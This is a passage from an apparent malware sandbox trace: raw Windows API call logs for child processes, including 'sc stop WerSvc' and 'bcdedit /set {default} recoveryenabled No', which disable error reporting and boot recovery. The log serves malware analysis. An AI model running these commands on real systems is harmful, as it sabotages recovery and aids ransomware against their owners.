lpBuffer=0x25f9e4, nSize=0x2, Arguments=0x25f9f0 | out: lpBuffer="ᣈ[\x01") returned 0x62 [0039.043] GetFileType (hFile=0x7) returned 0x2 [0039.043] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x25f9b8 | out: lpMode=0x25f9b8) returned 1 [0039.043] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x5b18c8*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x25f9d4, lpReserved=0x0 | out: lpBuffer=0x5b18c8*, lpNumberOfCharsWritten=0x25f9d4*=0x62) returned 1 [0039.043] LocalFree (hMem=0x5b18c8) returned 0x0 [0039.043] LocalFree (hMem=0x0) returned 0x0 [0039.043] CloseServiceHandle (hSCObject=0x5af680) returned 1 [0039.339] exit (_Code=1060) Thread: id = 47 os_tid = 0xc7c Process: id = "24" image_name = "sc.exe" filename = "c:\\windows\\syswow64\\sc.exe" page_root = "0x31689000" os_pid = "0xb50" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x55c" cmd_line = "sc stop WerSvc" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 30 os_tid = 0xb54 [0037.862] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xdfec4 | out: lpSystemTimeAsFileTime=0xdfec4*(dwLowDateTime=0xa779d360, dwHighDateTime=0x1d5e09d)) [0037.862] GetCurrentProcessId () returned 0xb50 [0037.862] GetCurrentThreadId () returned 0xb54 [0037.862] GetTickCount () returned 0x1154960 [0037.862] QueryPerformanceCounter (in: lpPerformanceCount=0xdfebc | out: lpPerformanceCount=0xdfebc*=17973360915) returned 1 [0037.863] GetModuleHandleA (lpModuleName=0x0) returned 0x30000 [0037.863] __set_app_type (_Type=0x1) [0037.863] __p__fmode () returned 0x76be31f4 [0037.863] __p__commode () returned 0x76be31fc [0037.863] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x379c7) returned 0x0 [0037.863] __wgetmainargs (in: _Argc=0x39020, _Argv=0x39028, _Env=0x39024, _DoWildCard=0, _StartInfo=0x39034 | out: _Argc=0x39020, _Argv=0x39028, _Env=0x39024) returned 0 [0037.864] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.866] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0037.866] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0037.866] wcsncmp (_String1="st", _String2="\\\\", _MaxCount=0x2) returned 23 [0037.866] _wcsicmp (_String1="stop", _String2="query") returned 2 [0037.866] _wcsicmp (_String1="stop", _String2="queryex") returned 2 [0037.866] _wcsicmp (_String1="stop", _String2="start") returned 14 [0037.866] _wcsicmp (_String1="stop", _String2="pause") returned 3 [0037.866] _wcsicmp (_String1="stop", _String2="interrogate") returned 10 [0037.867] _wcsicmp (_String1="stop", _String2="control") returned 16 [0037.867] _wcsicmp (_String1="stop", _String2="continue") returned 16 [0037.867] _wcsicmp (_String1="stop", _String2="stop") returned 0 [0037.867] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x5ef680 [0037.870] OpenServiceW (hSCManager=0x5ef680, lpServiceName="WerSvc", dwDesiredAccess=0x20) returned 0x5ef5e0 [0037.870] ControlService (in: hService=0x5ef5e0, dwControl=0x1, lpServiceStatus=0xdfdc0 | out: lpServiceStatus=0xdfdc0*(dwServiceType=0x20, dwCurrentState=0x4, dwControlsAccepted=0x403, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0039.909] GetLastError () returned 0x425 [0039.910] _itow (in: _Dest=0x425, _Radix=916828 | out: _Dest=0x425) returned="1061" [0039.910] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x425, dwLanguageId=0x0, lpBuffer=0x39380, nSize=0x400, Arguments=0x0 | out: lpBuffer="The service cannot accept control messages at this time.\r\n") returned 0x3a [0039.911] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0xdfd44, nSize=0x2, Arguments=0xdfd50 | out: lpBuffer="㱈_\x01") returned 0x60 [0039.912] GetFileType (hFile=0x7) returned 0x2 [0039.918] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0xdfd18 | out: lpMode=0xdfd18) returned 1 [0039.923] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x5f3c48*, nNumberOfCharsToWrite=0x60, lpNumberOfCharsWritten=0xdfd34, lpReserved=0x0 | out: lpBuffer=0x5f3c48*, lpNumberOfCharsWritten=0xdfd34*=0x60) returned 1 [0039.931] LocalFree (hMem=0x5f3c48) returned 0x0 [0039.931] LocalFree (hMem=0x0) returned 0x0 [0039.931] CloseServiceHandle (hSCObject=0x5ef5e0) returned 1 [0039.941] CloseServiceHandle (hSCObject=0x5ef680) returned 1 [0040.428] exit (_Code=1061) Thread: id = 55 os_tid = 0xcb4 Process: id = "25" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x30b8e000" os_pid = "0xb60" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x55c" cmd_line = "cmd.exe /c bcdedit /set {default} recoveryenabled No" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 31 os_tid = 0xbc4 [0037.941] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1cf7ec | out: lpSystemTimeAsFileTime=0x1cf7ec*(dwLowDateTime=0xa785ba40, dwHighDateTime=0x1d5e09d)) [0037.941] GetCurrentProcessId () returned 0xb60 [0037.941] GetCurrentThreadId () returned 0xbc4 [0037.941] GetTickCount () returned 0x11549ae [0037.941] QueryPerformanceCounter (in: lpPerformanceCount=0x1cf7e4 | out: lpPerformanceCount=0x1cf7e4*=17981239038) returned 1 [0037.942] GetModuleHandleA (lpModuleName=0x0) returned 0x4a840000 [0037.942] __set_app_type (_Type=0x1) [0037.942] __p__fmode () returned 0x76be31f4 [0037.942] __p__commode () returned 0x76be31fc [0037.943] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a8621a6) returned 0x0 [0037.943] __getmainargs (in: _Argc=0x4a864238, _Argv=0x4a864240, _Env=0x4a86423c, _DoWildCard=0, _StartInfo=0x4a864140 | out: _Argc=0x4a864238, _Argv=0x4a864240, _Env=0x4a86423c) returned 0 [0037.943] GetCurrentThreadId () returned 0xbc4 [0037.943] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xbc4) returned 0x60 [0037.943] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0037.943] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadUILanguage") returned 0x76e3a84f [0037.943] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.943] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0037.943] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x1cf77c | out: phkResult=0x1cf77c*=0x0) returned 0x2 [0037.944] VirtualQuery (in: lpAddress=0x1cf7b3, lpBuffer=0x1cf74c, dwLength=0x1c | out: lpBuffer=0x1cf74c*(BaseAddress=0x1cf000, AllocationBase=0xd0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0037.944] VirtualQuery (in: lpAddress=0xd0000, lpBuffer=0x1cf74c, dwLength=0x1c | out: lpBuffer=0x1cf74c*(BaseAddress=0xd0000, AllocationBase=0xd0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0037.944] VirtualQuery (in: lpAddress=0xd1000, lpBuffer=0x1cf74c, dwLength=0x1c | out: lpBuffer=0x1cf74c*(BaseAddress=0xd1000, AllocationBase=0xd0000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0037.944] VirtualQuery (in: lpAddress=0xd3000, lpBuffer=0x1cf74c, dwLength=0x1c | out: lpBuffer=0x1cf74c*(BaseAddress=0xd3000, AllocationBase=0xd0000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0037.944] VirtualQuery (in: lpAddress=0x1d0000, lpBuffer=0x1cf74c, dwLength=0x1c | out: lpBuffer=0x1cf74c*(BaseAddress=0x1d0000, AllocationBase=0x1d0000, AllocationProtect=0x2, RegionSize=0x67000, State=0x1000, Protect=0x2, Type=0x40000)) returned 0x1c [0037.944] GetConsoleOutputCP () returned 0x1b5 [0037.944] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a864260 | out: lpCPInfo=0x4a864260) returned 1 [0037.944] SetConsoleCtrlHandler (HandlerRoutine=0x4a85e72a, Add=1) returned 1 [0037.944] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.944] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0037.944] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.944] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a8641ac | out: lpMode=0x4a8641ac) returned 1 [0037.945] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.945] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0037.945] _get_osfhandle (_FileHandle=0) returned 0x3 [0037.945] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a8641b0 | out: lpMode=0x4a8641b0) returned 1 [0037.945] _get_osfhandle (_FileHandle=0) returned 0x3 [0037.945] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0037.945] GetEnvironmentStringsW () returned 0x342030* [0037.945] GetProcessHeap () returned 0x330000 [0037.945] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0xaca) returned 0x342b08 [0037.946] FreeEnvironmentStringsW (penv=0x342030) returned 1 [0037.946] GetProcessHeap () returned 0x330000 [0037.946] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x4) returned 0x340c60 [0037.946] GetEnvironmentStringsW () returned 0x342030* [0037.946] GetProcessHeap () returned 0x330000 [0037.946] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0xaca) returned 0x3435e0 [0037.946] FreeEnvironmentStringsW (penv=0x342030) returned 1 [0037.946] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x1ce6ec | out: phkResult=0x1ce6ec*=0x68) returned 0x0 [0037.946] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x1ce6f4, lpData=0x1ce6f8, lpcbData=0x1ce6f0*=0x1000 | out: lpType=0x1ce6f4*=0x0, lpData=0x1ce6f8*=0x0, lpcbData=0x1ce6f0*=0x1000) returned 0x2 [0037.946] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x1ce6f4, lpData=0x1ce6f8, lpcbData=0x1ce6f0*=0x1000 | out: lpType=0x1ce6f4*=0x4, lpData=0x1ce6f8*=0x1, lpcbData=0x1ce6f0*=0x4) returned 0x0 [0037.946] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x1ce6f4, lpData=0x1ce6f8, lpcbData=0x1ce6f0*=0x1000 | out: lpType=0x1ce6f4*=0x0, lpData=0x1ce6f8*=0x1, lpcbData=0x1ce6f0*=0x1000) returned 0x2 [0037.946] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x1ce6f4, lpData=0x1ce6f8, lpcbData=0x1ce6f0*=0x1000 | out: lpType=0x1ce6f4*=0x4, lpData=0x1ce6f8*=0x0, lpcbData=0x1ce6f0*=0x4) returned 0x0 [0037.946] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x1ce6f4, lpData=0x1ce6f8, lpcbData=0x1ce6f0*=0x1000 | out: lpType=0x1ce6f4*=0x4, lpData=0x1ce6f8*=0x40, lpcbData=0x1ce6f0*=0x4) returned 0x0 [0037.946] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x1ce6f4, lpData=0x1ce6f8, lpcbData=0x1ce6f0*=0x1000 | out: lpType=0x1ce6f4*=0x4, lpData=0x1ce6f8*=0x40, lpcbData=0x1ce6f0*=0x4) returned 0x0 [0037.946] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x1ce6f4, lpData=0x1ce6f8, lpcbData=0x1ce6f0*=0x1000 | out: lpType=0x1ce6f4*=0x0, lpData=0x1ce6f8*=0x40, lpcbData=0x1ce6f0*=0x1000) returned 0x2 [0037.946] RegCloseKey (hKey=0x68) returned 0x0 [0037.946] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x1ce6ec | out: phkResult=0x1ce6ec*=0x68) returned 0x0 [0037.947] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x1ce6f4, lpData=0x1ce6f8, lpcbData=0x1ce6f0*=0x1000 | out: lpType=0x1ce6f4*=0x0, lpData=0x1ce6f8*=0x40, lpcbData=0x1ce6f0*=0x1000) returned 0x2 [0037.947] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x1ce6f4, lpData=0x1ce6f8, lpcbData=0x1ce6f0*=0x1000 | out: lpType=0x1ce6f4*=0x4, lpData=0x1ce6f8*=0x1, lpcbData=0x1ce6f0*=0x4) returned 0x0 [0037.947] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x1ce6f4, lpData=0x1ce6f8, lpcbData=0x1ce6f0*=0x1000 | out: lpType=0x1ce6f4*=0x0, lpData=0x1ce6f8*=0x1, lpcbData=0x1ce6f0*=0x1000) returned 0x2 [0037.947] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x1ce6f4, lpData=0x1ce6f8, lpcbData=0x1ce6f0*=0x1000 | out: lpType=0x1ce6f4*=0x4, lpData=0x1ce6f8*=0x0, lpcbData=0x1ce6f0*=0x4) returned 0x0 [0037.947] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x1ce6f4, lpData=0x1ce6f8, lpcbData=0x1ce6f0*=0x1000 | out: lpType=0x1ce6f4*=0x4, lpData=0x1ce6f8*=0x9, lpcbData=0x1ce6f0*=0x4) returned 0x0 [0037.947] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x1ce6f4, lpData=0x1ce6f8, lpcbData=0x1ce6f0*=0x1000 | out: lpType=0x1ce6f4*=0x4, lpData=0x1ce6f8*=0x9, lpcbData=0x1ce6f0*=0x4) returned 0x0 [0037.947] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x1ce6f4, lpData=0x1ce6f8, lpcbData=0x1ce6f0*=0x1000 | out: lpType=0x1ce6f4*=0x0, lpData=0x1ce6f8*=0x9, lpcbData=0x1ce6f0*=0x1000) returned 0x2 [0037.947] RegCloseKey (hKey=0x68) returned 0x0 [0037.947] time (in: timer=0x0 | out: timer=0x0) returned 0x5e423e1c [0037.947] srand (_Seed=0x5e423e1c) [0037.947] GetCommandLineW () returned="cmd.exe /c bcdedit /set {default} recoveryenabled No" [0037.947] GetCommandLineW () returned="cmd.exe /c bcdedit /set {default} recoveryenabled No" [0037.947] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a865260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0037.947] GetProcessHeap () returned 0x330000 [0037.948] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x210) returned 0x342030 [0037.948] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x342038, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0037.948] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0037.948] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0037.948] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0037.948] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0037.948] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0037.948] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0037.948] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0037.948] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0037.948] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0037.948] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0037.948] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0037.948] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0037.948] GetProcessHeap () returned 0x330000 [0037.948] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x342b08 | out: hHeap=0x330000) returned 1 [0037.948] GetEnvironmentStringsW () returned 0x342248* [0037.948] GetProcessHeap () returned 0x330000 [0037.948] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0xae2) returned 0x344ba8 [0037.948] FreeEnvironmentStringsW (penv=0x342248) returned 1 [0037.948] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0037.948] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0037.948] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0037.948] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0037.948] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0037.948] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0037.949] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0037.949] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0037.949] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0037.949] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0037.949] GetProcessHeap () returned 0x330000 [0037.949] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x54) returned 0x345698 [0037.949] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x1cf4b8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0037.949] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x1cf4b8, lpFilePart=0x1cf4b4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1cf4b4*="Desktop") returned 0x25 [0037.949] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0037.949] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x1cf234 | out: lpFindFileData=0x1cf234*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x341eb0 [0037.949] FindClose (in: hFindFile=0x341eb0 | out: hFindFile=0x341eb0) returned 1 [0037.949] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x1cf234 | out: lpFindFileData=0x1cf234*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x341eb0 [0037.949] FindClose (in: hFindFile=0x341eb0 | out: hFindFile=0x341eb0) returned 1 [0037.949] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0037.949] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x1cf234 | out: lpFindFileData=0x1cf234*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa5885400, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa5885400, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x341eb0 [0037.949] FindClose (in: hFindFile=0x341eb0 | out: hFindFile=0x341eb0) returned 1 [0037.950] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0037.950] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0037.950] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0037.950] GetProcessHeap () returned 0x330000 [0037.950] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x344ba8 | out: hHeap=0x330000) returned 1 [0037.950] GetEnvironmentStringsW () returned 0x3440b8* [0037.950] GetProcessHeap () returned 0x330000 [0037.950] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0xb36) returned 0x345ef8 [0037.950] FreeEnvironmentStringsW (penv=0x3440b8) returned 1 [0037.950] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a865260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0037.950] GetProcessHeap () returned 0x330000 [0037.950] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x345698 | out: hHeap=0x330000) returned 1 [0037.950] GetProcessHeap () returned 0x330000 [0037.950] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x400e) returned 0x346a38 [0037.950] GetProcessHeap () returned 0x330000 [0037.950] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x60) returned 0x342d88 [0037.951] GetProcessHeap () returned 0x330000 [0037.951] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x346a38 | out: hHeap=0x330000) returned 1 [0037.951] GetConsoleOutputCP () returned 0x1b5 [0038.740] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a864260 | out: lpCPInfo=0x4a864260) returned 1 [0038.740] GetUserDefaultLCID () returned 0x409 [0038.741] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a864950, cchData=8 | out: lpLCData=":") returned 2 [0038.741] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x1cf5f8, cchData=128 | out: lpLCData="0") returned 2 [0038.741] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x1cf5f8, cchData=128 | out: lpLCData="0") returned 2 [0038.741] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x1cf5f8, cchData=128 | out: lpLCData="1") returned 2 [0038.741] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a864940, cchData=8 | out: lpLCData="/") returned 2 [0038.741] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a864d80, cchData=32 | out: lpLCData="Mon") returned 4 [0038.742] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a864d40, cchData=32 | out: lpLCData="Tue") returned 4 [0038.742] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a864d00, cchData=32 | out: lpLCData="Wed") returned 4 [0038.742] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a864cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0038.742] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a864c80, cchData=32 | out: lpLCData="Fri") returned 4 [0038.742] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a864c40, cchData=32 | out: lpLCData="Sat") returned 4 [0038.742] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a864c00, cchData=32 | out: lpLCData="Sun") returned 4 [0038.742] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a864930, cchData=8 | out: lpLCData=".") returned 2 [0038.742] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a864920, cchData=8 | out: lpLCData=",") returned 2 [0038.742] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0038.743] GetProcessHeap () returned 0x330000 [0038.743] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x20c) returned 0x342df0 [0038.743] GetConsoleTitleW (in: lpConsoleTitle=0x342df0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0038.744] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0038.744] GetProcAddress (hModule=0x76e10000, lpProcName="CopyFileExW") returned 0x76e43b92 [0038.744] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0038.744] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleInputExeNameW") returned 0x76e3a79d [0038.744] GetProcessHeap () returned 0x330000 [0038.744] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x400a) returned 0x346a38 [0038.744] GetProcessHeap () returned 0x330000 [0038.744] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x346a38 | out: hHeap=0x330000) returned 1 [0038.745] _wcsicmp (_String1="bcdedit", _String2=")") returned 57 [0038.745] _wcsicmp (_String1="FOR", _String2="bcdedit") returned 4 [0038.745] _wcsicmp (_String1="FOR/?", _String2="bcdedit") returned 4 [0038.745] _wcsicmp (_String1="IF", _String2="bcdedit") returned 7 [0038.745] _wcsicmp (_String1="IF/?", _String2="bcdedit") returned 7 [0038.745] _wcsicmp (_String1="REM", _String2="bcdedit") returned 16 [0038.745] _wcsicmp (_String1="REM/?", _String2="bcdedit") returned 16 [0038.745] GetProcessHeap () returned 0x330000 [0038.745] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, 